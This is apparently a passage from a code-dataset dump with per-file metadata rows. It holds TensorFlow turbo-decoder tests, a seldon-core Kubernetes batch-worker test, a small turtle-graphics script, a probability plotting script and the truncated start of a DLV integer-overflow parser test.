commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vturbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
def test_compare_tf_turbo_decode_to_commpy_turbo_decode_without_noise_two_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = IdentityCode() * 2. - 1.
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter = 2
decoder = TurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vturbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
def test_compare_tf_turbo_decode_to_commpy_turbo_decode_without_noise_six_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = IdentityCode() * 2. - 1.
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter=6
decoder = TurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vturbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
def test_compare_tf_turbo_decode_to_commpy_turbo_decode_with_noise_one_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = AWGN(sigma)
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter = 1
decoder = TurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vturbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
def test_compare_tf_turbo_decode_to_commpy_turbo_decode_with_noise_two_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = AWGN(sigma)
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter = 2
decoder = TurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vturbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
def test_compare_tf_turbo_decode_to_commpy_turbo_decode_with_noise_six_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = AWGN(sigma)
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter = 6
decoder = TurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vturbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
def test_hazzys_compare_tf_turbo_decode_to_commpy_turbo_decode_without_noise_one_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = IdentityCode() * 2. - 1.
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter = 1
decoder = HazzysTurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vhazzys_turbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
def test_hazzys_compare_tf_turbo_decode_to_commpy_turbo_decode_without_noise_two_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = IdentityCode() * 2. - 1.
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter = 2
decoder = HazzysTurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vhazzys_turbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
def test_hazzys_compare_tf_turbo_decode_to_commpy_turbo_decode_without_noise_six_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = IdentityCode() * 2. - 1.
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter = 6
decoder = HazzysTurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vhazzys_turbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
def test_hazzys_compare_tf_turbo_decode_to_commpy_turbo_decode_with_noise_one_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = AWGN(sigma)
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter = 1
decoder = HazzysTurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vhazzys_turbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
def test_hazzys_compare_tf_turbo_decode_to_commpy_turbo_decode_with_noise_two_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = AWGN(sigma)
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter = 2
decoder = HazzysTurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vhazzys_turbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
def test_hazzys_compare_tf_turbo_decode_to_commpy_turbo_decode_with_noise_six_iter():
gen1 = tf.constant([[1, 1, 1], [1, 0 , 1]])
bias1 = tf.constant([0, 0])
code1 = AffineConvolutionalCode(gen1, bias1)
gen2 = tf.constant([[1, 1, 1], [1, 0 , 0]])
bias2 = tf.constant([0, 0])
code2 = AffineConvolutionalCode(gen2, bias2)
msg_length = 20
batch_size = 2
input_bits = tf.random.uniform((batch_size, msg_length, 1), maxval=2, dtype=tf.int32)
interleaver = PermuteInterleaver(msg_length)
turbo_encoder = code1.concat(interleaver.and_then(code2))
sigma = 1.
channel = AWGN(sigma)
decoder1 = BCJRDecoder(code1.trellis, AWGN(sigma), use_max=False)
decoder2 = BCJRDecoder(code2.trellis, AWGN(sigma), use_max=False)
num_iter = 6
decoder = HazzysTurboDecoder(decoder1, decoder2, interleaver, num_iter=num_iter)
msg = turbo_encoder(input_bits)
received_msg = channel(msg)
tf_confidence = decoder(received_msg)
trellis1 = cc.Trellis(np.array([2]), np.array([[7, 5]]))
trellis2 = cc.Trellis(np.array([2]), np.array([[7, 4]]))
commpy_interleaver = interleaver_to_commpy(interleaver)
np_received = received_msg.numpy()
commpy_L = vhazzys_turbo_decode(np_received, trellis1, trellis2, sigma ** 2, num_iter, commpy_interleaver)
assert_array_almost_equal(commpy_L, tf_confidence.numpy(), decimal=5)
| 38.586806 | 126 | 0.695402 | 3,101 | 22,226 | 4.742986 | 0.039342 | 0.011966 | 0.011422 | 0.022845 | 0.95907 | 0.957302 | 0.953767 | 0.953767 | 0.948463 | 0.948463 | 0 | 0.045506 | 0.168496 | 22,226 | 575 | 127 | 38.653913 | 0.750338 | 0.006794 | 0 | 0.921986 | 0 | 0 | 0.0029 | 0 | 0 | 0 | 0 | 0 | 0.042553 | 1 | 0.037825 | false | 0 | 0.028369 | 0 | 0.066194 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3baa1a7063e9da1b4a5c9e788e51a66c4fcad66d | 10,758 | py | Python | testing/scripts/test_batch_processor.py | juldou/seldon-core | 34021ee3ead41c729ff57efd1964ab3f0d37861e | [
"Apache-2.0"
] | 1 | 2020-02-14T10:40:03.000Z | 2020-02-14T10:40:03.000Z | testing/scripts/test_batch_processor.py | juldou/seldon-core | 34021ee3ead41c729ff57efd1964ab3f0d37861e | [
"Apache-2.0"
] | 59 | 2021-05-18T09:04:28.000Z | 2022-03-28T07:07:08.000Z | testing/scripts/test_batch_processor.py | juldou/seldon-core | 34021ee3ead41c729ff57efd1964ab3f0d37861e | [
"Apache-2.0"
] | null | null | null | import json
import logging
import time
import uuid
from subprocess import run
import requests
from seldon_core.batch_processor import start_multithreaded_batch_worker
from seldon_e2e_utils import (
API_ISTIO_GATEWAY,
create_random_data,
initial_rest_request,
rest_request,
rest_request_ambassador,
retry_run,
wait_for_rollout,
wait_for_status,
)
logging.basicConfig(level=logging.DEBUG)
class TestBatchWorker(object):
def test_batch_worker(self, namespace):
spec = "../../servers/sklearnserver/samples/iris.yaml"
retry_run(f"kubectl apply -f {spec} -n {namespace}")
wait_for_status("sklearn", namespace)
wait_for_rollout("sklearn", namespace)
time.sleep(10)
batch_size = 1000
input_data_path = "batch-standard-input-data.txt"
output_data_path = "batch-standard-output-data.txt"
with open(input_data_path, "w") as f:
for i in range(batch_size):
f.write("[[1,2,3,4]]\n")
logging.info("Sending first batch (rest): mini-batch size=1")
start_multithreaded_batch_worker(
"sklearn",
"istio",
namespace,
API_ISTIO_GATEWAY,
"rest",
"data",
"ndarray",
100,
3,
1,
input_data_path,
output_data_path,
"predict",
"debug",
True,
str(uuid.uuid1()),
0,
"",
False,
True,
)
logging.info("Finished first batch. Checking.")
with open(output_data_path, "r") as f:
count = 0
for line in f:
count += 1
output = json.loads(line)
# Ensure all requests are successful
assert output.get("data", {}).get("ndarray", False)
assert count == batch_size
logging.info("Sending first batch (grpc): mini-batch size=1")
start_multithreaded_batch_worker(
"sklearn",
"istio",
namespace,
API_ISTIO_GATEWAY,
"grpc",
"data",
"ndarray",
100,
3,
1,
input_data_path,
output_data_path,
"predict",
"debug",
True,
str(uuid.uuid1()),
0,
"",
False,
True,
)
logging.info("Finished first batch. Checking.")
with open(output_data_path, "r") as f:
count = 0
for line in f:
count += 1
output = json.loads(line)
# Ensure all requests are successful
assert output.get("data", {}).get("ndarray", False)
assert count == batch_size
logging.info("Sending first batch: mini-batch size=30")
# Now test that with a mini batch size of 30 works
start_multithreaded_batch_worker(
"sklearn",
"istio",
namespace,
API_ISTIO_GATEWAY,
"rest",
"data",
"ndarray",
100,
3,
30,
input_data_path,
output_data_path,
"predict",
"debug",
True,
str(uuid.uuid1()),
0,
"",
False,
True,
)
logging.info("Finished first batch. Checking.")
with open(output_data_path, "r") as f:
count = 0
for line in f:
count += 1
output = json.loads(line)
# Ensure all requests are successful
assert output.get("data", {}).get("ndarray", False)
assert count == batch_size
logging.info("Success for test_batch_worker")
run(f"kubectl delete -f {spec} -n {namespace}", shell=True)
def test_batch_worker_raw_predict_ndarray(self, namespace):
spec = "../../servers/sklearnserver/samples/iris.yaml"
retry_run(f"kubectl apply -f {spec} -n {namespace}")
wait_for_status("sklearn", namespace)
wait_for_rollout("sklearn", namespace)
time.sleep(10)
batch_size = 1000
input_data_path = "batch-raw-ndarray-input-data.txt"
output_data_path = "batch-raw-ndarray-output-data.txt"
with open(input_data_path, "w") as f:
for i in range(batch_size):
j = {
"data": {"names": ["a", "b", "c"], "ndarray": [[1, 2, 3, 4]]},
"meta": {"tags": {"customer-id": i}},
}
f.write(json.dumps(j) + "\n")
logging.info("Sending first batch: mini-batch size=1")
start_multithreaded_batch_worker(
"sklearn",
"istio",
namespace,
API_ISTIO_GATEWAY,
"rest",
"raw",
None,
100,
3,
1,
input_data_path,
output_data_path,
"predict",
"debug",
True,
str(uuid.uuid1()),
0,
"",
False,
True,
)
logging.info("Finished first batch. Checking.")
with open(output_data_path, "r") as f:
count = 0
for line in f:
count += 1
output = json.loads(line)
# Ensure all requests are successful
assert output.get("data", {}).get("ndarray", False)
# Following assert checks that customer-id custom tag from raw input has been propagated
assert (
output["meta"]["tags"]["customer-id"]
== output["meta"]["tags"]["batch_index"]
)
assert count == batch_size
logging.info("Sending first batch: mini-batch size=30")
# Now test that with a mini batch size of 30 works
start_multithreaded_batch_worker(
"sklearn",
"istio",
namespace,
API_ISTIO_GATEWAY,
"rest",
"raw",
None,
100,
3,
30,
input_data_path,
output_data_path,
"predict",
"debug",
True,
str(uuid.uuid1()),
0,
"",
False,
True,
)
logging.info("Finished first batch. Checking.")
with open(output_data_path, "r") as f:
count = 0
for line in f:
count += 1
output = json.loads(line)
# Ensure all requests are successful
assert output.get("data", {}).get("ndarray", False)
# Following assert checks that customer-id custom tag from raw input has been propagated
assert (
output["meta"]["tags"]["customer-id"]
== output["meta"]["tags"]["batch_index"]
)
assert count == batch_size
logging.info("Success for test_batch_worker")
run(f"kubectl delete -f {spec} -n {namespace}", shell=True)
def test_batch_worker_raw_predict_tensor(self, namespace):
spec = "../../servers/sklearnserver/samples/iris.yaml"
retry_run(f"kubectl apply -f {spec} -n {namespace}")
wait_for_status("sklearn", namespace)
wait_for_rollout("sklearn", namespace)
time.sleep(10)
batch_size = 1000
input_data_path = "batch-raw-tensor-input-data.txt"
output_data_path = "batch-raw-tensor-output-data.txt"
with open(input_data_path, "w") as f:
for i in range(batch_size):
j = {
"data": {
"names": ["a", "b", "c"],
"tensor": {"shape": [1, 4], "values": [1, 2, 3, 4]},
},
"meta": {"tags": {"customer-id": i}},
}
f.write(json.dumps(j) + "\n")
logging.info("Sending first batch: mini-batch size=1")
start_multithreaded_batch_worker(
"sklearn",
"istio",
namespace,
API_ISTIO_GATEWAY,
"rest",
"raw",
None,
100,
3,
1,
input_data_path,
output_data_path,
"predict",
"debug",
True,
str(uuid.uuid1()),
0,
"",
False,
True,
)
logging.info("Finished first batch. Checking.")
with open(output_data_path, "r") as f:
count = 0
for line in f:
count += 1
output = json.loads(line)
# Ensure all requests are successful
assert output.get("data", {}).get("tensor", False)
# Following assert checks that customer-id custom tag from raw input has been propagated
assert (
output["meta"]["tags"]["customer-id"]
== output["meta"]["tags"]["batch_index"]
)
assert count == batch_size
logging.info("Sending first batch: mini-batch size=30")
# Now test that with a mini batch size of 30 works
start_multithreaded_batch_worker(
"sklearn",
"istio",
namespace,
API_ISTIO_GATEWAY,
"rest",
"raw",
None,
100,
3,
30,
input_data_path,
output_data_path,
"predict",
"debug",
True,
str(uuid.uuid1()),
0,
"",
False,
True,
)
logging.info("Finished first batch. Checking.")
with open(output_data_path, "r") as f:
count = 0
for line in f:
count += 1
output = json.loads(line)
# Ensure all requests are successful
assert output.get("data", {}).get("tensor", False)
# Following assert checks that customer-id custom tag from raw input has been propagated
assert (
output["meta"]["tags"]["customer-id"]
== output["meta"]["tags"]["batch_index"]
)
assert count == batch_size
logging.info("Success for test_batch_worker")
run(f"kubectl delete -f {spec} -n {namespace}", shell=True)
| 28.919355 | 104 | 0.477505 | 1,085 | 10,758 | 4.581567 | 0.120737 | 0.04828 | 0.047878 | 0.046671 | 0.911688 | 0.906457 | 0.900624 | 0.894387 | 0.880708 | 0.880708 | 0 | 0.018286 | 0.415412 | 10,758 | 371 | 105 | 28.997305 | 0.772142 | 0.068693 | 0 | 0.839344 | 0 | 0 | 0.17623 | 0.032187 | 0 | 0 | 0 | 0 | 0.059016 | 1 | 0.009836 | false | 0 | 0.02623 | 0 | 0.039344 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3bc9f6b1a89654d3ee2645c6c75323013b6ba351 | 820 | py | Python | 001 - turtle-motion commands.py | Dream-Big-Buddy/Python---Level-1 | 145c19ee67de59669a9ad39af05ae3b7bfef4714 | [
"MIT"
] | null | null | null | 001 - turtle-motion commands.py | Dream-Big-Buddy/Python---Level-1 | 145c19ee67de59669a9ad39af05ae3b7bfef4714 | [
"MIT"
] | null | null | null | 001 - turtle-motion commands.py | Dream-Big-Buddy/Python---Level-1 | 145c19ee67de59669a9ad39af05ae3b7bfef4714 | [
"MIT"
] | null | null | null | import turtle
turtle.forward(50)
print("Going forward 50 - " + str(turtle.position()))
turtle.left(90)
print("turning left 90 deg " + str(turtle.position()))
print("current angle " + str(turtle.heading()))
turtle.forward(50)
print("\nGoing forward 50 - " + str(turtle.position()))
turtle.left(90)
print("turning left 90 deg " + str(turtle.position()))
print("current angle " + str(turtle.heading()))
turtle.forward(50)
print("\nGoing forward 50 - " + str(turtle.position()))
turtle.left(90)
print("turning left 90 deg " + str(turtle.position()))
print("current angle " + str(turtle.heading()))
turtle.forward(50)
print("\nGoing forward 50 - " + str(turtle.position()))
turtle.left(90)
print("turning left 90 deg" + str(turtle.position()))
print("current angle " + str(turtle.heading())) | 29.285714 | 56 | 0.671951 | 110 | 820 | 5.009091 | 0.145455 | 0.196007 | 0.246824 | 0.145191 | 0.932849 | 0.932849 | 0.932849 | 0.932849 | 0.932849 | 0.932849 | 0 | 0.045584 | 0.143902 | 820 | 28 | 57 | 29.285714 | 0.739316 | 0 | 0 | 0.904762 | 0 | 0 | 0.2733 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.047619 | 0 | 0.047619 | 0.571429 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 10 |
ce3bdb260e0003c8b753faa6aa83cd69d523de4f | 1,040 | py | Python | 4_HO2.py | MBeshai/491DataAnalytics | 1f644d1074ac9d2ad1527f8dc75d711c9e65e2ee | [
"MIT"
] | null | null | null | 4_HO2.py | MBeshai/491DataAnalytics | 1f644d1074ac9d2ad1527f8dc75d711c9e65e2ee | [
"MIT"
] | null | null | null | 4_HO2.py | MBeshai/491DataAnalytics | 1f644d1074ac9d2ad1527f8dc75d711c9e65e2ee | [
"MIT"
] | null | null | null | import probability
import matplotlib.pyplot as plt
import random
from collections import Counter
smooth = 10.0
i_s = []
for j in range(1000):
i = random.randint(-50, 50)
i_s.append(i/smooth)
i_s.sort()
pdf_s = []
cdf_s = []
hst_s = []
for i in i_s:
pdf_s.append(probability.normal_pdf(i))
cdf_s.append(probability.normal_cdf(i))
hst_s.append(probability.binomial(0.75, 100))
plt.plot(i_s, pdf_s)
plt.show()
plt.plot(i_s, cdf_s)
plt.show()
gmrHist = Counter(hst_s)
plt.bar(gmrHist.keys(), gmrHist.values())
plt.show()
smooth = 2.0
i_s = []
for j in range(1000):
i = random.randint(-50, 50)
i_s.append(i/smooth)
i_s.sort()
pdf_s = []
cdf_s = []
hst_s = []
for i in i_s:
pdf_s.append(probability.normal_pdf(i))
cdf_s.append(probability.normal_cdf(i))
hst_s.append(probability.binomial(0.75, 100))
plt.plot(i_s, pdf_s)
plt.show()
plt.plot(i_s, cdf_s)
plt.show()
gmrHist = Counter(hst_s)
plt.bar(gmrHist.keys(), gmrHist.values())
plt.show()
| 18.909091 | 50 | 0.645192 | 181 | 1,040 | 3.519337 | 0.209945 | 0.037677 | 0.169545 | 0.037677 | 0.844584 | 0.844584 | 0.844584 | 0.844584 | 0.844584 | 0.844584 | 0 | 0.039568 | 0.198077 | 1,040 | 54 | 51 | 19.259259 | 0.724221 | 0 | 0 | 0.863636 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
cbf5df17bb7d18de25465a68904615f6b38c5a22 | 2,179 | py | Python | tests/parser/overflow.1.test.py | veltri/DLV2 | 944aaef803aa75e7ec51d7e0c2b0d964687fdd0e | [
"Apache-2.0"
] | null | null | null | tests/parser/overflow.1.test.py | veltri/DLV2 | 944aaef803aa75e7ec51d7e0c2b0d964687fdd0e | [
"Apache-2.0"
] | null | null | null | tests/parser/overflow.1.test.py | veltri/DLV2 | 944aaef803aa75e7ec51d7e0c2b0d964687fdd0e | [
"Apache-2.0"
] | null | null | null | input = """
%#maxint=999999999.
h(X) :- X=1000000*1. %*(1000000, 1,X).
g(X) :- X=1000000*2. %*(1000000, 2,X).
f(X) :- X=1000000*1000000. %*(1000000,1000000,X).
f9(X) :- X=999999999*999999999. %*(999999999,999999999,X).
f8(X) :- X=999999998*999999999. %*(999999998,999999999,X).
f7(X) :- X=999999997*999999999. %*(999999997,999999999,X).
f6(X) :- X=999999996*999999999. %*(999999996,999999999,X).
f5(X) :- X=999999995*999999999. %*(999999995,999999999,X).
f4(X) :- X=999999994*999999999. %*(999999994,999999999,X).
f3(X) :- X=999999993*999999999. %*(999999993,999999999,X).
f2(X) :- X=999999992*999999999. %*(999999992,999999999,X).
f1(X) :- X=999999991*999999999. %*(999999991,999999999,X).
